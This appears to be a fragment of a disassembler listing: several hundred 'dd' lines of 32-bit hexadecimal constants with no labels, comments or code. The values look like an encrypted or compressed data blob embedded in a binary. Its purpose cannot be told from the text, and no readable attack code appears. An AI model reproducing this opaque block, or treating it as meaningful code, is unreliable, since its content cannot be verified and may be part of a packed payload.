		dd 665B2740h, 0A4CB00ABh, 55F5933h, 8B0080FDh, 7B022FA1h
		dd 0F9A678h, 0DEED177Ah, 0A43F85BBh, 0F7F15628h, 0B64B5A05h
		dd 3487D2C5h, 0DACB4DF1h, 9001B043h, 0B107D785h, 33900FACh
		dd 0BD1CF412h, 0FD4D6C03h, 144776DEh, 0DC0AC508h, 0E2562F00h
		dd 97715F0h, 0D6412004h, 4CA9E017h, 0A5BF803h, 0DBFF225Fh
		dd 9E0A7844h, 8842633Ch, 0D3719880h, 39731890h,	3A00120Fh
		dd 5CA9CD66h, 0C3E0B513h, 0DF37A4C0h, 2564A5F2h, 5CE6F73Fh
		dd 83D2111Ch, 61D34401h, 0AC70753Eh, 33A625A2h,	0DD7280E6h
		dd 1C0DCF28h, 32363E00h, 0ADE6333Ah, 1A400E1h, 0F7B4FF7Eh
		dd 0E5C4E6Ch, 52AC82CCh, 0F9244826h, 0E44C04DEh, 0B9CE9074h
		dd 6B7300CCh, 0D28A373Dh, 0BBEE6h, 0C9CA89F2h, 0A4A0CF24h
		dd 0DE2DEA4Ah, 909C222Ch, 48447234h, 0A980107Ah, 88A5F07Fh
		dd 0ADBAD53Eh, 0B0889B05h, 571B78Fh, 2BA6FF3Eh,	4120082Dh
		dd 0B4DB3980h, 6BCF20h,	9F42954Fh, 993BDDA2h, 0E1CB1600h
		dd 946FD66h, 6F06092Eh,	4C593FF2h, 2D679A03h, 2523A941h
		dd 44086ED8h, 0A01F8A8Eh, 923B43CFh, 40C862A6h,	1B700048h
		dd 7930210h, 96008440h,	13F4C2Fh, 0F4249A0Bh, 60289E80h
		dd 8C2D32BAh, 52F41C00h, 0EA95E91Dh, 4B942EFEh,	0A540E84h
		dd 0D266F6C3h, 28F478C0h, 4DDA5A09h, 1ACE808h, 0C5503D39h
		dd 0FFDA4h, 886986A3h, 24B17DE8h, 0D580D09Eh, 0A61F81AAh
		dd 425E2629h, 0B8BD077Fh, 8CC200D9h, 0F612B6D5h, 0F0F2A7F7h
		dd 5C9C70h, 7231B947h, 0F702ECEAh, 4015146Dh, 886654h
		dd 0A9579825h, 7EA38403h, 0ADA47C3Eh, 60840B96h, 2690C84h
		dd 1AC89EB8h, 34A7A659h, 403BB27Bh, 0DE006846h,	0B0E57E25h
		dd 22049ECh, 0EBCB5B65h, 6CE01957h, 8928B921h, 950040E0h
		dd 0F49FBC2Ch, 1C6F09h,	5AA2FD4Eh, 0AA9867B7h, 50A74414h
		dd 14548488h, 2DFFACB4h, 0EC907BDEh, 0C7007797h, 0FB412B45h
		dd 3C567014h, 0A0E439C8h, 30504095h, 0C6CB11h, 1FFC48C0h
		dd 84DFB4EAh, 861219F0h, 8488700Dh, 0FC8006Eh, 0C05AC2CAh
		dd 800538ECh, 0EB8A250Ch, 1055F301h, 44C2D63Bh,	6DA91774h
		dd 0BD300184h, 83B57E1Eh, 9F7D7828h, 7C1AB201h,	0B2A4048h
		dd 0ED04CA44h, 0D63399D7h, 0C47A6492h, 2CEF2E40h, 16BC18F6h
		dd 2A00A981h, 0C9A1DEC8h, 4B7559FFh, 0FC3C20E9h, 15006B7Bh
		dd 21FB9A8Fh, 3A7D7571h, 0D164BFA7h, 3CA90Eh, 0B955E815h
		dd 7FF643Ch, 831028D5h,	0DE84B137h, 18522EF8h, 0F170FA04h
		dd 0AB8008ECh, 1D4E71E8h, 0C80042FEh, 0CCB7CB17h, 5EFACE06h
		dd 2BFC233Dh, 2B6BDA8h,	0D367F200h, 2F30A352h, 0ECB30080h
		dd 465A57CEh, 540262FDh, 1EB09E56h, 0A5D060E0h,	0B6976C8h
		dd 5AA79F85h, 0CC6EC830h, 5CB8F000h, 2E9998D4h,	45049E3Bh
		dd 730C809Eh, 909D5B14h, 4CD9FBC8h, 2B3CC591h, 9C691280h
		dd 0D1D221A0h, 0BDE66307h, 41D0EF88h, 0FCFE5C91h, 0BBFF072Dh
		dd 99A70C7Dh, 31C07818h, 0E33A7100h, 0E7A1B570h, 2D060F62h
		dd 66C1E2DEh, 206DCC14h, 0EC1330CCh, 503045F0h,	592671h
		dd 0AB613908h, 604F7D09h, 0D3B47300h, 0CD33DD46h, 0DFFAA09Ch
		dd 3BB2120Bh, 931B0982h, 52D6E884h, 4DD5DC30h, 597100B9h
		dd 4AACBB97h, 74033DB8h, 0C97FEF8Ch, 0A72498B5h, 20E55F64h
		dd 69834328h, 6E373Dh, 40282393h, 0B7E568Ah, 0F1C5794Fh
		dd 0A760380Fh, 0ACEF5D22h, 7CB86475h, 77261217h, 449F1482h
		dd 0D2DD5C08h, 9DDE0379h, 8F2A822Eh, 0F68A0490h, 214895Ch
		dd 0B50C5421h, 0F887B34h, 0F8E06B67h, 31A3D2Dh,	0AD044500h
		dd 6197A38Dh, 77603936h, 93E4F804h, 0A1B4815Bh,	7E0C1094h
		dd 94B42Fh, 4C8439AFh, 85000B54h, 0B9AAD412h, 9F42860h
		dd 4E6DF69Eh, 40F91C99h, 0EB6B88B8h, 0CE505B76h, 38018648h
		dd 59402096h, 0A0D8AF60h, 0F4718Eh, 0A6B54D0Dh,	0F3CF145Ah
		dd 0FE04B300h, 0FDD5A0EEh, 562E2D66h, 816BCC90h, 4A18101Fh
		dd 0DCC77680h, 8FE1A25h
		dd 2999039Ah, 0E2305240h, 0F3B807DFh, 0F5D431B4h, 9E6099Ah
		dd 0A1AFD410h, 0DC03FD7Ch, 572B8975h, 68E0E058h, 0E5E2684h
		dd 33FC40BCh, 0D1FC21Bh, 1012F8FFh, 2E6E8407h, 40AD7CB4h
		dd 411EC817h, 0BC164B75h, 58276A8Ah, 7A809427h,	0FF81CFh
		dd 90A3B4C5h, 0EA84B89Ah, 29AA2E30h, 7C13C44h, 89C9504Ah
		dd 2CCB01FFh, 83804C49h, 5C30CF1Dh, 0F92BDA40h,	9695B06h
		dd 0BC729E04h, 2ED82001h, 0CB2017AEh, 7BC01994h, 0A7E41611h
		dd 47F8D45Dh, 0A0A21270h, 0EAEF67EBh, 3C976F01h, 0BC68545Bh
		dd 5BCDFC20h, 825C2051h, 0C1009626h, 0EA10A57Bh, 0E64DD48h
		dd 97E28F04h, 0C12084E5h, 3FD9DF86h, 8AEB5020h,	9077E8A9h
		dd 0B9C70005h, 9AB39D56h, 85278DA7h, 3C58207Dh,	2C548Bh
		dd 0BF86FE59h, 7837AD9h, 0F0DC8101h, 0F7805E38h, 2296092h
		dd 51C71BC0h, 0DC80BCD9h, 0EF1C2E92h, 0E467749Eh, 165A260Ch
		dd 49730E6Ch, 7E22B81h,	4724702Fh, 540E5774h, 8F51CA7Bh
		dd 0EE2B009Ch, 53C83F85h, 0F009459h, 0B4DAB297h, 8D30082Ch
		dd 99D8806Bh, 949932h, 53662B50h, 9D5ECB0Ah, 0EED83C02h
		dd 0E4D9C8h, 49B84603h,	60BAE0Bh, 64109124h, 82070024h
		dd 0FB1A3E92h, 0E7422E4h, 0D04E5C0Fh, 88E8008Eh, 0F36932D4h
		dd 0A598056Ah, 0EC58C437h, 1356C1D8h, 2BDC692Ch, 96F0C41Dh
		dd 6C0A408h, 0AA6A9300h, 7FD11D2h, 140718Fh, 0B59F89DEh
		dd 0F0266B27h, 0FE7B630Ah, 3937CF31h, 2828D1FFh, 601AAB83h
		dd 2440E7E8h, 81DEA200h, 0F5E20D48h, 9027B016h,	2ECB006Ch
		dd 0DB99298Dh, 0ED0B6632h, 10CE235Eh, 132D64h, 90C60FFFh
		dd 1B8738EFh, 59BAD300h, 3ED2AF11h, 91B5001Fh, 3BD507FEh
		dd 0BE7E0E33h, 0CC092C29h, 8B229F02h, 59E1E0C4h, 5C71169Eh
		dd 0D14000Ah, 347666E6h, 0CEA6BF13h, 0C6158100h, 634D31h
		dd 672A08EFh, 0A66B9DFh, 81B58F02h, 0C618A68Dh,	9C06527Ch
		dd 0CE71B600h, 595FBF1Bh, 70272F00h, 0E710CBF0h, 22EE15Bh
		dd 0C9C7360Ch, 0F5004464h, 5BE9CC4Dh, 5B6079A9h, 0D7542754h
		dd 0EE7AD099h, 5A0089DAh, 8AF50850h, 4F3B196Ah,	0B0C42086h
		dd 0A803C284h, 76778D20h, 547CB9F9h, 99D3708Bh,	0EA305h
		dd 0F2AB554h, 5D00D56Bh, 871E09B4h, 1EA68C41h, 6B84BA4h
		dd 10A85B0Ch, 0EC03E74Eh, 2F88D4D6h, 7C104941h,	6800A230h
		dd 2DE6073h, 0B0A06777h, 373B006Bh, 2FB4514Eh, 923A55F8h
		dd 2040DB64h, 5CC50A61h, 8A2B05FDh, 0F20DDD79h,	54AF80E8h
		dd 9367306h, 6604B43Ch,	2FCA0402h, 4B0070DAh, 0FC131562h
		dd 12AB679h, 3D340898h,	0DCBAB453h, 0F35A6BE4h,	5D1888h
		dd 1F1E4DB2h, 8DA21A5Eh, 41CB6903h, 0F87AF6h, 2B0B3370h
		dd 48520A51h, 98DC6001h, 0FE288AD5h, 402E2061h,	0B6360174h
		dd 4B74CEDFh, 8488AE5Ah, 61888913h, 1407D4Ch, 8C2E627Bh
		dd 7C20393Eh, 0CB2C04C2h, 90AC5BA7h, 5CA68198h,	0B480E20Bh
		dd 6DA09851h, 783B009Bh, 0C91ED5E3h, 0C63DE777h, 5A060398h
		dd 90126751h, 968FCFD6h, 543094F8h, 2C58297Fh, 0A1CC0598h
		dd 0C59AC033h, 4300D6D5h, 8C8E6B12h, 3CBA67C4h,	0BB82CEE9h
		dd 705D6331h, 571CFC78h, 1599FDDBh, 0E8297A62h,	40282E26h
		dd 0B933B861h, 0A594FB1Fh, 0BFBDDF80h, 7F7056ADh, 0E4AF0088h
		dd 79994C63h, 244C8FA7h, 8E76004Ch, 0A6626593h,	15490B96h
		dd 98106370h, 4D005545h, 64C07AB2h, 4BB190Ah, 0A65DC52Bh
		dd 0D0E332h, 657422CEh,	30B35814h, 4B88FEFh, 7A4CE331h
		dd 57B167C5h, 77748E20h, 3A6C0EE1h, 0A5A00670h,	0D24A3978h
		dd 5109A605h, 0E8202C84h, 0EEB2902Bh, 948A771Ah, 0D0780070h
		dd 25DFD62Ch, 73963103h, 44F9BBh, 4CD3E480h, 0C715BB8h
		dd 0BA3A99E8h, 0FDD08129h, 7D8DE6DEh, 0CEEC48h,	9E961A23h
		dd 4F4CBD09h, 0F5C56A00h, 5191A9BFh, 9B1EAA6h, 0CEB35E2Fh
		dd 1D98644Bh, 2704C2BBh, 89EA3C4Fh, 9274D080h, 0EC480B09h
		dd 0EC7883A8h, 403EDE2Ch, 0D8A3F812h, 3C07F70Fh, 7BB77D01h
		dd 604FCCCBh, 0C0E08358h, 0A6ACF86Bh, 3BEA53h, 0A515FC08h
		dd 40475CD2h, 8090635Bh, 0F6C14F98h, 0EFC40065h, 0F73F1A7Bh
		dd 1C1D50A3h, 0C3C02DBBh, 0D57A195Dh, 0FF620940h, 9C9031A6h
		dd 0C7017C07h, 0BE55BB3Ch, 48CD0954h, 4BAFF5D0h, 0A43CC873h
		dd 909B3200h, 0CCB47AFCh, 0E0410035h, 0A309B208h, 65057B71h
		dd 0A00B8112h, 0C834E1C3h, 98BAA446h, 0EA4700ECh, 0C3DD684Bh
		dd 0CE00C52Eh, 0E927FE80h, 9E12C6h, 0D5E7602Bh,	48B8019Bh
		dd 96EE8D00h, 3A370EDBh, 0B77D0Fh, 857C349Dh, 0C3CEC4D5h
		dd 9C495C63h, 7E38F086h, 7C270033h, 0A5DEA793h,	0FE312E81h
		dd 52743080h, 11610D8h,	0ED29E5FFh, 0E8A92C5Bh,	3002A9Bh
		dd 440AB98Ch, 0CC758BDh, 2DC3D58Eh, 4700D861h, 913BA930h
		dd 2801B449h, 30F70553h, 6961DA2Eh, 0EAE08EFBh,	0DB849702h
		dd 0E3EB2B96h, 0FC40C819h, 6518017Bh, 3DC728A7h, 52C070E6h
		dd 9308CB00h, 23763542h, 32D9C8CCh, 1B660E83h, 0AEBAC0AFh
		dd 340D30ADh, 0E1FAD518h, 58A47400h, 6F4FC25Fh,	4B110113h
		dd 921E2CFEh, 3559D8F9h, 0CAA5E40Ch, 80587Ah, 0C136B0C6h
		dd 0D37C0D4Eh, 0FED06A07h, 0AD2099CBh, 0F478AA1h, 5B3B7A4Bh
		dd 39D60486h, 7933BA30h, 0AFD635Dh, 0A0DF215Ah,	2A2E00B4h
		dd 276852CDh, 967340B5h, 0D7A90E3Ch, 0FEA5C359h, 6DF820A8h
		dd 1F3A5C76h, 800FBFD3h, 79F3264Fh, 3FB606B0h, 4B80B448h
		dd 0FEEE666Fh, 1CA02F15h, 1200F621h, 0B131A08Dh, 32A791h
		dd 9A3E4DFDh, 838C448h,	5F524F01h, 0AEC2A8B6h, 0E81FC88Eh
		dd 0E5DCA383h, 0AA7501C0h, 78CA9518h, 38613C59h, 93874F41h
		dd 824B9CBCh, 84808E97h, 34D079FEh, 0D5827510h,	4D523E00h
		dd 43C3E49Fh, 77F8D700h, 72A30E53h, 4F449BEh, 761E3B0Eh
		dd 0B76BD683h, 0BDBAE0B7h, 0E00042DBh, 6E3753F2h, 637134F8h
		dd 76C35987h, 82869100h, 0EB9618ECh, 7D2601ADh,	5AE1D14Ch
		dd 0C4D6E13Bh, 8544D045h, 0F500360h, 2D43B8E2h,	3FD1EBA8h
		dd 0AFCCDF07h, 5F802C52h, 0E02067C1h, 9BAD00CFh, 4048C27Fh
		dd 0A4019791h, 0FE3BC3FBh, 818733AAh, 20685852h, 28D0D9BBh
		dd 168CD60h, 0B5957D5h,	83A29C8h, 9127F384h, 20910608h
		dd 14240564h, 2A000845h, 4334B0C0h, 73B328DCh, 0E50708A4h
		dd 0F28781D0h, 0FA100BBDh, 24F332FBh, 8234D29Ch, 1DD5562Ah
		dd 4CA98448h, 0CA6BE00h, 809CEAB9h, 542100D1h, 0E0DF8401h
		dd 0A7527AD2h, 10538BCh, 27B3B1B2h, 0A18132D9h,	0FE70595Eh
		dd 0BC2AD97Eh, 0DC9800D1h, 0C118018Bh, 488A015Fh, 7BF42546h
		dd 0AF2850B2h, 9508B7C5h, 8C20B01Fh, 0E021E7BCh, 6C597200h
		dd 7E558DEEh, 847DEFh, 7ADAB7FBh, 0B43ED703h, 27C55F0Ah
		dd 0E2014801h, 0CD11D1FEh, 0AB5DA2D0h, 0FFA8E9BCh, 54675989h
		dd 83256404h, 799839F8h, 0D40C246Bh, 4921BA37h,	0F5EA59h
		dd 0FC1DD89Fh, 4CFD4951h, 0C08E3100h, 1BDCA87Bh, 0E67433BDh
		dd 0D9B32970h, 0CF2D610Fh, 0D4F4C783h, 4CFEECD0h, 0DF3008Eh
		dd 0F8A0D9D7h, 5E41B41h, 8F16D30Fh, 6C6A47ABh, 529DDE60h
		dd 0D93B2437h, 639B1160h, 0D898B8E8h, 230FC2Bh,	0C084AD9Dh
		dd 9C90BA3Bh, 3300EBE7h, 665C05C8h, 0F27C249Ch,	0F1ED01A5h
		dd 27E99736h, 3F20202Fh, 0FB1C770Eh, 22C0DFF2h,	0B2FF40BDh
		dd 8D692A3Ch, 3A18A49Ch
		dd 0D887E42Dh, 0C0ADE68Ch, 24390532h, 48D92C00h, 35A993A1h
		dd 304D302Ah, 0A4E24489h, 0CD54A7EAh, 6090C688h, 47007498h
		dd 502EFC93h, 18F70592h, 392ABA3Eh, 4E007F38h, 9D0FBD7Bh
		dd 91E9920h, 0C1B23985h, 0F940E018h, 2400A976h,	0E70659Eh
		dd 0FD3DCFDh, 7FC4E697h, 44816429h, 87BDF7D8h, 0FA5D478h
		dd 691D16h, 815756C7h, 0F1CFC916h, 9C763424h, 389443h
		dd 6341795Eh, 7554BFBAh, 3BBE1C3Fh, 61730925h, 0F8B82044h
		dd 1A32DDADh, 41A9F328h, 0DC85A441h, 524CCF9Fh,	37B0E4Ch
		dd 10BC898Fh, 7409EB50h, 0D08C12CAh, 4198401Eh,	0EAD89E7Bh
		dd 30DC333Eh, 352F5186h, 458C034Ah, 22255019h, 0BEF0B1ABh
		dd 6724344Dh, 3E80E41Eh, 0C983D310h, 0A794A879h, 0DDA50090h
		dd 0F3C12555h, 0C60EE23Fh, 552EFDC9h, 630900CCh, 8A48DFCEh
		dd 0BF730F59h, 5A315F6h, 40854C0Eh, 0B3CA5E44h,	0D700A5C1h
		dd 0BB534D73h, 0FADB3069h, 8A421D54h, 31680287h, 8C03CBEh
		dd 0DF9053DFh, 0AB3F04EEh, 0B15882DAh, 401BC5A1h, 3A30C408h
		dd 2A7C2A2Fh, 18427D5h,	0C16765A2h, 40D82D8Ch, 7EB0DDE4h
		dd 14B0A472h, 7A604CB1h, 867E3E0h, 9F5453FEh, 0BD4FBA07h
		dd 1C40EB14h, 710225D0h, 352AFE09h, 29549073h, 1B499B3h
		dd 0BDA257E6h, 0D411A61Ch, 364CD600h, 779261FDh, 697518A7h
		dd 0F31498DCh, 70A18333h, 880F4D0h, 4CE246E8h, 32CE84AEh
		dd 3DCE1A0h, 4512795Ah,	3808EF7Dh, 13CD8982h, 0BFC93890h
		dd 9B646E00h, 0C6769C86h, 32120081h, 0C8431902h, 0F6585697h
		dd 582F24F5h, 67A65380h, 26C189Eh, 3408C6D1h, 1BE0F9BFh
		dd 7378F4F8h, 2BCC6450h, 46712C30h, 0ABCFCA1h, 0F6BDC29Bh
		dd 0EB0C8090h, 7B12DEF5h, 3C52D338h, 38E42E9Dh,	2487B104h
		dd 60206585h, 2E0F46E5h, 0A2C2B19h, 6EA83484h, 88B67A24h
		dd 0C95CACFCh, 0FF409E4Ch, 0CCDAFB8Fh, 4DE80098h, 0BF3EC0DDh
		dd 0FCB0C126h, 41076500h, 0D8180380h, 0AE9717A7h, 532420C9h
		dd 700838Ch, 0D234A8B4h, 725431B3h, 79B72CCFh, 50301198h
		dd 347FE4BCh, 8D840E00h, 0D84C35A7h, 98DA4C18h,	11002822h
		dd 163FD955h, 66A8F4Fh,	0BAF13754h, 0B8092117h,	961C1Dh
		dd 4D65E5A2h, 18BD0E67h, 0F0C1E078h, 62CA2788h,	0B18F00ECh
		dd 36B4C9E7h, 0BCA31660h, 15C8303Eh, 0FE0BB9A8h, 1B7FAC48h
		dd 0D346C8C0h, 0BD2800CAh, 2164803Fh, 0CF0268AAh, 3EFF837Bh
		dd 0C57C422Ah, 9BD38064h, 2FD9D4FCh, 80746D39h,	6B92D15h
		dd 24B27DE4h, 5C4BA76h,	40F1BD0Ah, 2DAE6C8h, 2900DD6Bh
		dd 0E79C5971h, 34BC8ABh, 0A0E2DC6Fh, 610031C9h,	0E83C6528h
		dd 1C1E479h, 0E2FB7AD8h, 62BDDC9Dh, 613100E0h, 27ABFA65h
		dd 222B4248h, 9E9100F5h, 3DB3C007h, 57288578h, 6800E5D4h
		dd 0AD8EBA5Ah, 0A18F5627h, 8611D91Ch, 3215CCF0h, 0A801FD00h
		dd 0F6DDECBFh, 0B71700E6h, 7FDCB5A1h, 0CA2663DAh, 780BC84h
		dd 2279AE25h, 4B9C2C2Ah, 0DB24002Ch, 8EE9EC9h, 57CFB000h
		dd 0E412BFA1h, 8ED003ABh, 320B3EC8h, 8BE03F8Bh,	450077CEh
		dd 0ADD8A5D7h, 261F622Ch, 0AF866C4h, 94E5E4h, 7448D50Fh
		dd 0FB07755Ch, 0AD68B48Eh, 5E2F0B90h, 0E429F51Fh, 21692B12h
		dd 23C93BF4h, 0AB9C00DCh, 74A52B31h, 97BC004Ah,	0E7BBA6FDh
		dd 5E005DF4h, 4CB478CBh, 0F60BB3C1h, 9FC600E1h,	5257432Bh
		dd 0D2131D5Ch, 4400DF63h, 29F5D6E3h, 107360C4h,	0AFC630BDh
		dd 48E63B01h, 7C3563D3h, 9B003429h, 0A0902EB2h,	0FE78BA32h
		dd 0BEA0C754h, 174D163Bh, 6803E514h, 8F48C2BFh,	0A8ACE843h
		dd 2C1A4410h, 60F4471Fh, 28BCAFD6h, 11C611DFh, 180795Bh
		dd 353AF1D8h, 0D42D0ABDh, 0E052AA39h, 5BB40B38h, 90C089A0h
		dd 3D1E71CCh, 0D683B136h, 4E34C5FCh, 7301CCF2h,	81E86F52h
		dd 685F00AFh, 0F13470BBh, 5D61B002h, 0ED1FC3D6h, 11077DCEh
		dd 2C2CCA27h, 20AA16D0h, 0FDF664D0h, 0D099D124h, 8C2315h
		dd 1A0A19D6h, 1425CC98h, 20BA7033h, 774C930Bh, 65FF1C80h
		dd 0A891BE87h, 7E1E2300h, 77F6FBBh, 62A310ACh, 84CC8F60h
		dd 0D9003771h, 0CB48B457h, 33FF513h, 0D3D7E2CCh, 0CD82548Ch
		dd 80FC78E1h, 8BDE5F51h, 0B9C6D2h, 9434AB93h, 7913C55Bh
		dd 90F4D71Ch, 0F1A00C00h, 0A0BF4627h, 3FE2044h,	7A87B358h
		dd 5AC89D7Eh, 72FD1C57h, 98007630h, 7825CB97h, 302A0E7h
		dd 0CF71FB16h, 0E9001FBCh, 0EC5A1140h, 3890C0FAh, 0E0CC1204h
		dd 49A901C0h, 4304A2D6h, 0BE347BF4h, 0B5318D8h,	0ACFCBC0Fh
		dd 0F54A3098h, 0B34FDD00h, 9887A50h, 70E1001Bh,	65E7149Bh
		dd 0A1C127D0h, 53AF4698h, 3C6036F1h, 160B0047h,	0E68DF564h
		dd 29C029D0h, 4A371875h, 984E0028h, 0C54CC350h,	20042110h
		dd 52A14808h, 40266380h, 0FD370CDEh, 84F0D3D8h,	4F32224h
		dd 29F41869h, 5ED70048h, 0C6C86A14h, 8300BBCCh,	0F61A7DF4h
		dd 0B02E4F7h, 4D34C9A1h, 0DEACB8B0h, 1F4428B0h,	435F009Dh
		dd 8547DA5Eh, 223E2E0Ah, 0EB9F90A2h, 0A7F3C40Ah, 0FF183240h
		dd 324E7020h, 3F2E3FA9h, 6BAA1B80h, 94797289h, 0FEE13C0Ah
		dd 5F001CA8h, 0B4A2AD4Fh, 25F809C0h, 9C90BF27h,	0F4032DDCh
		dd 1A7F595h, 6378B059h,	8E9000F7h, 0F29405B0h, 0BC982193h
		dd 0FE700C78h, 7BE849Eh, 92B62A70h, 52444BC0h, 0C42BEBBFh
		dd 0BE2C80C0h, 3094C43Dh, 0FE637240h, 4DDF0002h, 4230CB18h
		dd 0E6114B7Fh, 0A07FF3BDh, 243BCEh, 0E96E5C9Ch,	323D783Fh
		dd 0A9859517h, 0C9A51421h, 0EF00A03Dh, 65355892h, 3C177BF8h
		dd 5D048E98h, 0C0C3AF40h, 9EFEC0BCh, 3C89CB58h,	4C41708Eh
		dd 0E87457D2h, 0A4B78D9h, 33C94C06h, 98B61C29h,	9723478Ch
		dd 3C48CB7Dh, 5A00A4B9h, 371691F2h, 4CDFAFBh, 0BDD6C34Dh
		dd 2DF740F4h, 42CE633h,	0A5D47501h, 0F67C88CAh,	0DC8DBD02h
		dd 20F5BF47h, 7E1E5BAh,	44EC1204h, 48057B9h, 2C021AFBh
		dd 8C1835B8h, 0A9180EE7h, 4A39DB6Eh, 0F380F48Bh, 0CC6D07F8h
		dd 0B68401E6h, 1072A690h, 3F38DC28h, 0D032F23Eh, 352DACCCh
		dd 0E7401019h, 0E1BE0010h, 362A2E95h, 0DCEC9EF2h, 0D0169F14h
		dd 74140030h, 18F760B0h, 0E3F252h, 0E34CD56h, 1CF596BFh
		dd 1D472B1Eh, 43D480FFh, 0D6182925h, 0F141C08Ch, 3E3453D2h
		dd 0E41CB300h, 6118049h, 4D2A00BEh, 85D65FFEh, 0FC4A29D1h
		dd 48E4B040h, 286E93A0h, 5CD0549Ch, 0D044222Bh,	0D7A6009Dh
		dd 4C6FB237h, 0ED7D838Fh, 0BEC42703h, 0A91ACA68h, 0D0283750h
		dd 0B7523680h, 18376203h, 0D9905048h, 964D352Bh, 21C3925Ch
		dd 0C0146600h, 0CD004A60h, 56A7AAFFh, 0B3E744Bh, 0FB2A0221h
		dd 0D82B6C11h, 0E60134B9h, 46E04C68h, 0B82037A9h, 0DE1F1948h
		dd 0EC522931h, 48C24A95h, 442EC8A3h, 1CB20000h,	1DEDFBC2h
		dd 0AE0034FEh, 61D4BB01h, 0E05EF1FAh, 1517EA66h, 0DC87C9ADh
		dd 0ED721F0Eh, 0CDF00BC0h, 30001A49h, 9EA634A8h, 5E124C1h
		dd 6D489F7Ah, 0B08558h,	190B917Bh, 0B975A546h, 0CC63AD07h
		dd 5BD152D0h, 93DA74AFh, 0B3C5A0D8h, 0DA500E53h, 0AE0BC3C1h
		dd 406B5080h, 76F82738h, 48013E00h, 0BA72D5B4h,	0CC570045h
		dd 9851FF55h, 46266496h, 0A9012024h, 0C5011F1Bh, 0FB058448h
		dd 7253E8h, 6FA79330h, 74353D0Eh, 29819962h, 11F079FAh
		dd 763200FCh, 0A2AA31C2h, 2DB70746h, 44DE570Bh,	8809845Ah
		dd 101C510h, 469A1D16h
		dd 0A832BE94h, 5353800h, 0F12426Bh, 0A7894094h,	0E31F806Ah
		dd 0E0B5DAF4h, 9A020248h, 7E4F0A41h, 0AAC0EC46h, 9C32A809h
		dd 60FB00C8h, 9A5025B1h, 4F007FA3h, 790B4168h, 0AE6AAAh
		dd 69DD425Ch, 0B301B425h, 83E5A003h, 0D8BF28h, 0C72A1951h
		dd 0A5FFB87Eh, 9A7DC124h, 6900EC17h, 407C963Dh,	0AE753F70h
		dd 0D280913Ah, 0B5C852F1h, 4205AB62h, 9C7C0406h, 84A3188Ch
		dd 3B635203h, 0F4198B04h, 467088h, 23A05E77h, 4070CD7Dh
		dd 97125D01h, 0F0BDAED3h, 51694980h, 0DDF3B45Ch, 0FB5FCE0Eh
		dd 5760E13Eh, 618E7FC9h, 132B2C8Ch, 92790055h, 0C083D169h
		dd 857678E8h, 4884BDC7h, 73009303h, 0BB8EE643h,	4D00EB1Bh
		dd 5FCA1360h, 0B09BC119h, 573F008Ch, 58682C7Dh,	77072D28h
		dd 9A704BCCh, 0CF670CE1h, 318C60F2h, 0F74ABh, 93E7B96Ah
		dd 0A89A79F3h, 6D3F3304h, 98C0A361h, 1F4EBFh, 404B64C4h
		dd 0A0C14A4Dh, 0DB409CBCh, 1EFFFAF0h, 4CA1747Ch, 0C6B1E8AAh
		dd 6F297800h, 7B3B02BEh, 0A673504Bh, 4020969Ah,	3C0196F2h
		dd 890F0801h, 41752F54h, 0CCAEFCh, 0E5365E13h, 49BEDAA0h
		dd 42D33705h, 0F4C8D02Eh, 2D9F0585h, 81651E51h,	0DC9831F8h
		dd 52004870h, 530244D3h, 26DD9360h, 1E183ED0h, 30667Fh
		dd 0A2A64576h, 0C9C035BDh, 4740EAFCh, 95280055h, 5E6A8B9Eh
		dd 0D40C29ACh, 404F9667h, 625628B0h, 0FE5B02A4h, 0D0E0BC79h
		dd 0FF009852h, 0DFD5A4CDh, 990AB82h, 57472AAAh,	0B19F2081h
		dd 2439C9h, 8802405Fh, 90EDD4h,	0A5751411h, 0C9C7E48Eh
		dd 3758AC01h, 9A0D2772h, 2CFC59D9h, 9409173h, 78645629h
		dd 0E430675Eh, 5E65DA5Fh, 620207Bh, 0AD263715h,	0E11A490h
		dd 8F00E438h, 0A25BF2A7h, 54B14732h, 0C12EDE80h, 0F297FAB7h
		dd 64F900B5h, 0A0F2096Dh, 1A2A6A84h, 0C023081h,	5E3F8739h
		dd 0D3EC90C9h, 22FC1E59h, 4AA60019h, 85154CA4h,	0C2DA7000h
		dd 0CA0435AAh, 11E81C56h, 0E6027CFEh, 475EC44Dh, 0B274B0C0h
		dd 87C3E411h, 0F0A0DB26h, 0D416AB8Dh, 5090C939h, 236AA99h
		dd 93526348h, 5464B9DEh, 0A416CC00h, 0C329E0CFh, 0AD3302D3h
		dd 46DA0D06h, 0D1FAB4E6h, 209E4500h, 0AEA76612h, 0C6CC0F97h
		dd 2E626D7Ah, 0F0F19233h, 2A82D81h, 9C60B43Fh, 0E0B638DCh
		dd 45A685BEh, 50E449A8h, 0FDADFB00h, 0CA083DD8h, 0D5301D7h
		dd 809DDE45h, 0C2032B3h, 61CCEFF3h, 66A0B55h, 9831012Ah
		dd 90C170E8h, 8C32963Ah, 8353172h, 47262E20h, 699F00D0h
		dd 0E62C65ADh, 7A819C91h, 7EAA1DD8h, 9F206C0h, 907328D3h
		dd 0E8022051h, 0C1E70272h, 38705326h, 562A129Fh, 0E9A4A164h
		dd 0B2CC60B0h, 22C3644h, 340B274Dh, 58C14EFBh, 108232Eh
		dd 5D4CB2ADh, 0A8E381F3h, 4D53DEh, 0CBA5196Fh, 84807ABCh
		dd 4B0ECD00h, 429D591Bh, 0B1931C38h, 411363h, 0AF26DAF1h
		dd 0BA00C2DFh, 33DEA664h, 1A096B6h, 18C5B4AAh, 0D0B11589h
		dd 0A764F9D5h, 0FEBE140h, 0C0207155h, 0C51DAE97h, 0EDB7BC00h
		dd 32B999FBh, 0A3B001A1h, 83388027h, 0C23980AEh, 0EC105E91h
		dd 496F4C52h, 0F6884500h, 0E190C6D2h, 0BB43A0C0h, 7C645599h
		dd 9139C0F9h, 0B5C0D67Ch, 26F38200h, 6501C657h,	98FA0CA1h
		dd 0CC29A984h, 0F00B0C38h, 8BA53F00h, 0D20E181Dh, 0D54B032Dh
		dd 0B1BDFE82h, 9DB8939Fh, 438F7150h, 0F2D840C1h, 0C5C016AFh
		dd 0FA53003Dh, 0DE6CF1B5h, 89000206h, 76D1EC8Ch, 1EC883A3h
		dd 8CEDACF7h, 3A50B8E8h, 3B6E940h, 0B487A7DEh, 0A9B0FD44h
		dd 47B817DBh, 6C690360h, 304221F9h, 569078C0h, 0B3029A3Eh
		dd 5BFC5E61h, 471E200Fh, 101D3E7h, 0BCFBF0D4h, 3BC8BE35h
		dd 0C1F1DED0h, 738951DEh, 8100E726h, 570E5A04h,	0F88E2D95h
		dd 0EA9D0292h, 6EB5F97Fh, 5AFE4498h, 6F02400h, 0D2096045h
